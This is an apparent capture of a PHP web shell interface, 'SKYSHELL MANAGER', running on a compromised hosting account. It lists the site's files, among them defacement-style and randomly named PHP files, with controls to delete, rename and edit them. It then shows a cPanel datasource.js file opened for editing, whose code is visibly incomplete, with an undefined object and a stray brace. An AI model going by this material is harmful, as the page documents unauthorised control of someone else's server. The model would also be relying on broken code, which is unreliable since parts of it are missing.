ＳＫＹＳＨＥＬＬＭＡＮＡＧＥＲ

📁 ＳＫＹＳＨＥＬＬＭＡＮＡＧＥＲ PHP v8.2.30

Path:root/home/qooetu/costes.qooetu.com/

Name	Size	Perm	Actions
📁 .well-known	-	0755	🗑️ 🏷️
📁 2e19d9	-	0755	🗑️ 🏷️
📁 6b114	-	0755	🗑️ 🏷️
📁 Modules	-	0755	🗑️ 🏷️
📁 app	-	0755	🗑️ 🏷️
📁 assets	-	0755	🗑️ 🏷️
📁 bootstrap	-	0755	🗑️ 🏷️
📁 cgi-bin	-	0755	🗑️ 🏷️
📁 config	-	0755	🗑️ 🏷️
📁 css	-	0755	🗑️ 🏷️
📁 database	-	0755	🗑️ 🏷️
📁 images	-	0755	🗑️ 🏷️
📁 js	-	0755	🗑️ 🏷️
📁 nbproject	-	0755	🗑️ 🏷️
📁 public	-	0755	🗑️ 🏷️
📁 resources	-	0755	🗑️ 🏷️
📁 routes	-	0755	🗑️ 🏷️
📁 storage	-	0755	🗑️ 🏷️
📁 tests	-	0755	🗑️ 🏷️
📁 uploads	-	0755	🗑️ 🏷️
📁 vendor	-	0755	🗑️ 🏷️
📁 wp-admin	-	0755	🗑️ 🏷️
📁 wp-content	-	0755	🗑️ 🏷️
📁 wp-includes	-	0755	🗑️ 🏷️
📄 .htaccess	0.23 KB	0444	🗑️ 🏷️ ⬇️ ✏️
📄 COOKIE.txt	0.2 KB	0644	🗑️ 🏷️ ⬇️ ✏️
📄 X7ROOT.txt	0.27 KB	0644	🗑️ 🏷️ ⬇️ ✏️
📄 defaults.php	1.29 KB	0444	🗑️ 🏷️ ⬇️ ✏️
📄 engine.php	0 KB	0644	🗑️ 🏷️ ⬇️ ✏️
📄 error_log	813.08 KB	0644	🗑️ 🏷️ ⬇️ ✏️
📄 features.php	11.28 KB	0644	🗑️ 🏷️ ⬇️ ✏️
📄 googlecfb82e09419fc0f6.html	0.05 KB	0644	🗑️ 🏷️ ⬇️ ✏️
📄 index.php0	1.56 KB	0644	🗑️ 🏷️ ⬇️ ✏️
📄 inputs.php	0.12 KB	0644	🗑️ 🏷️ ⬇️ ✏️
📄 kurd.html	1.07 KB	0644	🗑️ 🏷️ ⬇️ ✏️
📄 library.php	0 KB	0644	🗑️ 🏷️ ⬇️ ✏️
📄 min.php	6.83 KB	0444	🗑️ 🏷️ ⬇️ ✏️
📄 p.php	2.75 KB	0644	🗑️ 🏷️ ⬇️ ✏️
📄 php.ini	0.04 KB	0644	🗑️ 🏷️ ⬇️ ✏️
📄 product.php	1.78 KB	0444	🗑️ 🏷️ ⬇️ ✏️
📄 qpmwztts.php	0.74 KB	0644	🗑️ 🏷️ ⬇️ ✏️
📄 robots.txt	0.32 KB	0444	🗑️ 🏷️ ⬇️ ✏️
📄 tovmbkwh.php	0.74 KB	0644	🗑️ 🏷️ ⬇️ ✏️
📄 tyyffovi.php	0.74 KB	0644	🗑️ 🏷️ ⬇️ ✏️
📄 veoxv.html	1.23 KB	0644	🗑️ 🏷️ ⬇️ ✏️

Edit: datasource.js

(function(window) {

"use strict";

var CPANEL = window.CPANEL;
    var YAHOO = window.YAHOO;

YAHOO.util.DataSourceBase.prototype.get_field_parser = function(field) {
        var fields, parser = "string";
        try {
            fields = this.responseSchema.fields;
        } catch (e) {}
        if (fields) {
            for (var f = 0; f < fields.length; f++) {
                if (fields[f].key === field) {
                    parser = fields[f].parser || parser;
                    break;
                }
            }
        }

return parser;
    };

var _std_CXD_opts = {
        responseType: YAHOO.util.DataSource.TYPE_JSON,
        connXhrMode: "cancelStaleRequests",
        connMethodPost: true
    };

CXD_OPTS[2].responseSchema = {
            resultsList: "cpanelresult.data",
            metaFields: {
                total_records: "cpanelresult.paginate.total_results",
                before_filter: "cpanelresult.before_filter",
                metadata: "cpanelresult.metadata"
            }
        };

CXD_OPTS[3].responseSchema = {
            resultsList: "data",
            metaFields: {
                total_records: "metadata.paginate.total_results",
                before_filter: "metadata.records_before_filter",
                metadata: "metadata"
            }
        };
    }

// class CPANEL_XHR_DataSource
    //
    // Subclass wrapper around YUI XHRDataSource for cPanel and WHM APIs
    // Additional opts:
    //  fields:       for the responseSchema
    //  func:         the function name
    //  module:       the module name (n/a in WHM)
    //  api_version:  API version passed to CPANEL.api.construct_query
    //  request_data: default data object to be added to request objects

var CPANEL_XHRDataSource = function(opts) {
        var my_opts = {};

if (opts) {
            YAHOO.lang.augmentObject(my_opts, opts);
        }

if (typeof my_opts.api_version === "undefined") {
            my_opts.api_version = CPANEL.api.find_api_version(); // default API version
        } else {
            my_opts.api_version = +my_opts.api_version;
        }

var api_opts = CXD_OPTS[my_opts.api_version];
        if (!api_opts) {
            throw "Invalid API version: " + my_opts.api_version;
        }

// Don't override things that are passed in.
        YAHOO.lang.augmentObject(my_opts, api_opts);

if (my_opts.fields) {
            my_opts.responseSchema.fields = my_opts.fields;
            delete my_opts.fields;
        }

// A dummy URL since makeConnection will feed in the real URL.
        CPANEL_XHRDataSource.superclass.constructor.call(this, "/", my_opts);
    };
    YAHOO.lang.extend(CPANEL_XHRDataSource, YAHOO.util.XHRDataSource, {

// Extract tabular data from WHM v1, and check for API-level errors.
        parseJSONData: function(req, parsed) {
            var use_whm1 = (CPANEL.is_whm() && (this.api_version === 1));
            if (use_whm1) {
                var metadata = parsed.metadata;
                var to_reduce = !metadata || !metadata.payload_is_literal || (metadata.payload_is_literal === "0");

if (to_reduce) {
                    parsed.data = CPANEL.api.reduce_whm1_list_data(parsed.data);
                }
            }

var ret = CPANEL_XHRDataSource.superclass.parseJSONData.call(this, req, parsed);

var messages;
            if (use_whm1) {
                if (!CPANEL.api.find_whm1_status(parsed)) {
                    messages = CPANEL.api.find_whm1_messages(parsed);
                }
            } else {
                if (this.api_version === 3) {
                    if (!CPANEL.api.find_uapi_status(parsed)) {
                        messages = CPANEL.api.find_uapi_messages(parsed);
                    }
                } else if (!CPANEL.api.find_cpanel2_status(parsed)) {
                    messages = CPANEL.api.find_cpanel2_messages(parsed);
                }
            }

if (messages) {
                ret.error = true;
                var errs = messages.filter(function(m) {
                    return m.level === "error";
                });
                if (errs.length) {
                    ret.cpanel_error = errs[0].content;
                }
            }

return ret;
        },

// This expects a CPANEL.api request object but will add in func/module/version
        // We fall back to default XHRDataSource if the request is not an object.
        makeConnection: function(req, cb, clr) {
            if (typeof req === "object") {

// copy, then add module/func as needed
                req = YAHOO.lang.JSON.parse(YAHOO.lang.JSON.stringify(req));

var that = this;
                ["module", "func"].forEach(function(key) {
                    if (!(key in req) && (key in that)) {
                        req[key] = that[key];
                    }
                });

if (!req.api_data) {
                    req.api_data = {};
                }
                req.api_data.version = this.api_version;

if (this.request_data) {
                    if (!req.data) {
                        req.data = {};
                    }
                    YAHOO.lang.augmentObject(req.data, this.request_data);
                }

this.liveData = CPANEL.api.construct_url_path(req);

req = CPANEL.api.construct_query(req);
            }

return CPANEL_XHRDataSource.superclass.makeConnection.call(this, req, cb, clr);
        }
    });

var export_obj = {
        CPANEL_XHRDataSource: CPANEL_XHRDataSource
    };
    CPANEL.datasource = export_obj;

return export_obj;
}(window));

📁 ＳＫＹＳＨＥＬＬ ＭＡＮＡＧＥＲ PHP v8.2.30

Edit: datasource.js

📁 ＳＫＹＳＨＥＬＬＭＡＮＡＧＥＲ PHP v8.2.30